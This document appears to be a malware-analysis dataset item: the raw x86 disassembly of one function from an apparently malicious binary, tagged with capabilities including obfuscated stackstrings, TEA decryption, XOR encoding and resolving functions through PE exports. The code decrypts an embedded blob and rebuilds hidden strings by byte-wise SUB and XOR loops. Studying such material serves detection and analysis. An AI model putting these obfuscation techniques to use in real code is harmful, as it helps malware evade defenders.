Function at 0x41a1a4
Capabilities:
Contain obfuscated stackstrings
Decrypt data using tea
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd4
push ebx
push ebp
push esi
push edi
call fcn.0041a08f
mov ecx, eax
call fcn.0041b565
test eax, eax
je 0x41a594
push 0x400
call fcn.0040570b
pop ecx
mov ecx, eax
mov dword [esp + 0x38], ecx
test ecx, ecx
je 0x41a594
mov ebp, 0x420eb2
mov word [esp + 0x10], 0x7c
mov eax, 0x420eb0
mov dword [esp + 0x40], 3
sub ebp, ecx
mov dword [esp + 0x8c], eax
lea edx, [ecx + 2]
mov dword [esp + 0x84], ebp
mov esi, dword [edx + ebp]
mov edi, 0xc6ef3720
mov ebx, dword [eax]
push 0x20
pop ebp
mov eax, ebx
lea ecx, [edi + ebx]
shl eax, 4
sub eax, 0x76cd07a2
xor ecx, eax
mov eax, ebx
shr eax, 5
add eax, 0x42e5a6d5
xor ecx, eax
sub esi, ecx
mov eax, esi
shl eax, 4
sub eax, 0x61825ad
lea ecx, [edi + esi]
xor ecx, eax
lea edi, [edi + 0x61c88647]
mov eax, esi
shr eax, 5
add eax, 0x7fa71ce3
xor ecx, eax
sub ebx, ecx
sub ebp, 1
jne 0x41a214
mov ebp, dword [esp + 0x84]
mov eax, ebx
shr eax, 8
mov ecx, esi
mov byte [edx - 1], al
mov eax, ebx
shr eax, 0x10
mov byte [edx], al
mov eax, ecx
shr eax, 8
mov byte [edx + 3], al
mov eax, ecx
shr eax, 0x10
mov byte [edx - 2], bl
mov byte [edx + 2], cl
mov byte [edx + 4], al
mov eax, dword [esp + 0x8c]
shr ebx, 0x18
add eax, 8
shr ecx, 0x18
mov byte [edx + 1], bl
mov byte [edx + 5], cl
add edx, 8
sub dword [esp + 0x40], 1
mov dword [esp + 0xc0], esi
mov dword [esp + 0x8c], eax
jne 0x41a207
mov esi, dword [esp + 0x38]
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x14]
xor ebx, ebx
push eax
mov byte [esi + 0x18], bl
mov dword [esp + 0x48], ebx
push esi
jmp 0x41a57b
mov dword [esp + 0x14], 0x93a39c7e
mov ecx, ebx
mov dword [esp + 0x18], 0x9e4a9198
mov dword [esp + 0x1c], 0x998d4a99
mov dword [esp + 0x20], 0x8d8f9898
mov dword [esp + 0x24], 0x999e4a9e
mov dword [esp + 0x28], 0x349d4f4a
mov al, byte [esp + ecx + 0x14]
sub al, 0x2a
mov byte [esp + ecx + 0xc4], al
inc ecx
cmp ecx, 0x18
jl 0x41a308
lea eax, [esp + 0xc4]
mov byte [esp + 0xdc], bl
push edi
push eax
call fcn.00412606
pop ecx
pop ecx
lea edx, [esp + 0xb4]
mov ecx, edi
call fcn.004180a9
mov ecx, ebx
test al, al
je 0x41a489
mov dword [esp + 0x44], 0x7f7f916f
mov dword [esp + 0x48], 0x828f8f81
mov dword [esp + 0x4c], 0x95888891
mov dword [esp + 0x50], 0x8a8b7f3c
mov dword [esp + 0x54], 0x907f818a
mov dword [esp + 0x58], 0x903c8081
mov dword [esp + 0x5c], 0x8f413c8b
mov byte [esp + 0x60], 0x26
mov al, byte [esp + ecx + 0x44]
sub al, 0x1c
mov byte [esp + ecx + 0x64], al
inc ecx
cmp ecx, 0x1d
jl 0x41a387
mov byte [esp + 0x81], bl
mov ecx, ebx
mov dword [esp + 0x14], 0x998388be
mov dword [esp + 0x18], 0x8a8281cd
mov dword [esp + 0x1c], 0x82aacdc3
mov dword [esp + 0x20], 0xcd8c8383
mov dword [esp + 0x24], 0x8983889e
mov dword [esp + 0x28], 0x838289cd
mov dword [esp + 0x2c], 0x8880cd88
mov dword [esp + 0x30], 0x8a8c9e9e
mov word [esp + 0x34], 0xe788
mov al, byte [esp + ecx + 0x14]
xor al, 0xed
mov byte [esp + ecx + 0x90], al
inc ecx
cmp ecx, 0x22
jl 0x41a3e7
lea eax, [esp + 0x64]
mov byte [esp + 0xb2], bl
push edi
push eax
call fcn.00412606
pop ecx
pop ecx
call fcn.0041a63f
lea ecx, [esp + 0xb4]
call fcn.0040f980
lea ecx, [esp + 0xb4]
call fcn.004147b7
call fcn.0041954b
cmp byte [esp + 0xbc], bl
je 0x41a43e
call fcn.00414321
cmp byte [esp + 0xbd], bl
je 0x41a44c
call fcn.00413e3a
cmp byte [esp + 0xbb], bl
je 0x41a45a
call fcn.00418f82
call fcn.00417655
call fcn.00413280
lea eax, [esp + 0x90]
push eax
call fcn.00412606
pop ecx
push 5
pop ecx
call fcn.00418e22
call fcn.00416c34
call fcn.00416ab8
jmp 0x41a570
mov dword [esp + 0x90], 0x3b146666
mov dword [esp + 0x94], 0x24292d3c
mov dword [esp + 0x98], 0x3b143a2d
mov dword [esp + 0x9c], 0x24292d3c
mov dword [esp + 0xa0], 0x2b663a2d
mov word [esp + 0xa4], 0x3838
mov al, byte [esp + ecx + 0x90]
xor al, 0x48
mov byte [esp + ecx + 0x14], al
inc ecx
cmp ecx, 0x16
jl 0x41a4ca
mov byte [esp + 0x2a], bl
mov ecx, ebx
mov dword [esp + 0x38], 0xe4d3e6c5
mov byte [esp + 0x3c], 0xe6
mov al, byte [esp + ecx + 0x38]
sub al, 0x72
mov byte [esp + ecx + 0x84], al
inc ecx
cmp ecx, 5
jl 0x41a4f0
mov byte [esp + 0x89], bl
mov ecx, ebx
mov dword [esp + 0x64], 0xcfccc4a9
mov dword [esp + 0x68], 0xd783c7c8
mov dword [esp + 0x6c], 0xd2c683d2
mov dword [esp + 0x70], 0xc6c8d1d1
mov dword [esp + 0x74], 0xd2d783d7
mov dword [esp + 0x78], 0x6dd68883
mov al, byte [esp + ecx + 0x64]
sub al, 0x63
mov byte [esp + ecx + 0x44], al
inc ecx
cmp ecx, 0x18
jl 0x41a53c
push edi
lea eax, [esp + 0x48]
mov byte [esp + 0x60], bl
push eax
lea eax, [esp + 0x8c]
push eax
lea eax, [esp + 0x20]
push 0x9d
push eax
call fcn.00412723
add esp, 0x14
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x14]
push eax
push ebx
call fcn.00405d9c
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x41a2d6
push esi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd4
ret